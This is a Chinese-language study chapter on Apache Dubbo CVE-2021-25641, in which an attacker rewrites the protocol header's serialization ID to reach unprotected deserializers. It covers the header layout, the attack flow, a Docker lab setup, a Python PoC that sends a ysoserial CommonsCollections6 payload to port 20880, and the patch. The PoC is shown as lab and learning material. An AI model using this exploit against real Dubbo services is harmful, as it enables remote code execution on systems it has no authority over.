Dubbo漏洞 - 08 CVE-2021-25641

CVE-2021-25641 — “0xDABB of Doom” 序列化 ID 篡改

漏洞概述

CVE 编号:CVE-2021-25641

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.7.0 ~ 2.7.8, 2.6.0 ~ 2.6.9

修复版本:2.7.9, 2.6.10

别名:”The 0xDABB of Doom”(Checkmarx 命名)

攻击类型:二进制协议级别的攻击,篡改协议头绕过安全机制

漏洞原理

背景

经过 CVE-2020-1948 和 CVE-2020-11995 的修复

Dubbo 2.7.8 的 Hessian2 反序列化已经有了黑白名单保护

但是! 其他序列化方式(Java 原生、Kryo、FST)没有这些保护

核心发现

Dubbo 协议 header 的第 3 字节(Flags)中,低 5 位是 Serialization ID

这 5 位决定服务端使用哪个反序列化器

早期版本中,服务端信任客户端发送的 Serialization ID

攻击者可以篡改这 5 位,强制服务端使用没有安全保护的反序列化器

篡改过程图解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
正常请求 Header:
DA BB [C2] 00 ...

Flags = 1100 0010
^^^^^ = 00010 = Hessian2 (有黑白名单保护)

篡改后的 Header:
DA BB [C3] 00 ...

Flags = 1100 0011
^^^^^ = 00011 = Java 原生 (无保护!)

或者:
DA BB [C4] 00 ...
Flags = 1100 0100
^^^^^ = 00100 = Kryo (无保护!)

攻击流程

1
2
3
4
5
6
1. 攻击者构造恶意 Java 原生序列化 payload(用 ysoserial)
2. 构造 Dubbo 协议包,设置 Serialization ID = 3 (Java)
3. 发送到 Provider 的 20880 端口
4. Provider 读取 header,看到 SerID = 3
5. Provider 选择 JavaObjectInput 进行反序列化(没有黑白名单!)
6. ObjectInputStream.readObject() 触发 gadget chain → RCE

为什么之前的修复无效?

Dubbo 2.7.7/2.7.8 的安全检查只加在了 Hessian2 反序列化器

Java 原生、Kryo、FST 反序列化器没有加任何检查

攻击者通过切换反序列化器就能绕过所有保护

复现步骤

环境搭建

1
2
cd environments/cve-2021-25641
docker-compose up -d

Python PoC 核心逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket, struct, subprocess

# 1. 用 ysoserial 生成 Java 原生序列化 payload
payload = subprocess.check_output([
'java', '-jar', 'ysoserial.jar',
'CommonsCollections6', 'touch /tmp/pwned'
])

# 2. 构造 Dubbo header,关键:SerID = 3 (Java 原生)
magic = b'\xda\xbb'
flags = 0xC3 # Request + TwoWay + Java原生序列化
# 0xC3 = 1100 0011
# ^^^^^ = 00011 = Java 原生
status = 0x00
request_id = 1

# 3. 构造 body(Java 原生序列化格式)
body = build_java_native_body(payload)

# 4. 组装并发送
header = magic + struct.pack('!BBqI', flags, status, request_id, len(body))
sock = socket.socket()
sock.connect(('127.0.0.1', 20880))
sock.send(header + body)

使用 PoC 脚本

1
2
3
4
5
python exploits/cve_2021_25641_bypass.py \
--target 127.0.0.1 \
--port 20880 \
--command "touch /tmp/pwned" \
--serialization java # 或 kryo, fst

补丁分析

Dubbo 2.7.9 修复

核心修复:服务端不再信任客户端指定的 Serialization ID

服务端使用自己配置的序列化方式,忽略客户端 header 中的值

修复逻辑

1
2
3
4
5
6
7
8
9
10
11
// 修复前:
byte serializationId = header[2] & 0x1F; // 从客户端 header 读取
Serialization serialization = getSerializationById(serializationId);

// 修复后:
// 忽略客户端指定的 ID,使用服务端配置
Serialization serialization = getServerSerialization();
byte clientSerId = header[2] & 0x1F;
if (clientSerId != serverSerId) {
throw new IOException("Unexpected serialization id: " + clientSerId);
}

修复评价

这是一个正确方向的修复

安全原则:永远不要信任客户端输入

序列化方式应该由服务端决定,不应该被客户端控制

关联的 Gadget Chain

篡改为 Java 原生序列化后,所有 ysoserial 链均可使用:

CommonsCollections 全系列、CommonsBeanutils、ROME、Spring 等

篡改为 Kryo/FST 后,可使用对应格式的 gadget chain

思考与延伸

这是一个非常精妙的攻击思路

不是绕过反序列化检查本身

而是绕过”使用哪个反序列化器”这个选择过程

让有保护的反序列化器变成没保护的

二进制协议的安全设计教训

客户端可控的协议字段都可能被攻击者篡改

安全关键的配置(如序列化方式)应该由服务端决定

这个思路也适用于其他二进制协议的安全审计


上一章 目录 下一章
07-CVE-2020-11995 Dubbo漏洞 09-CVE-2021-30179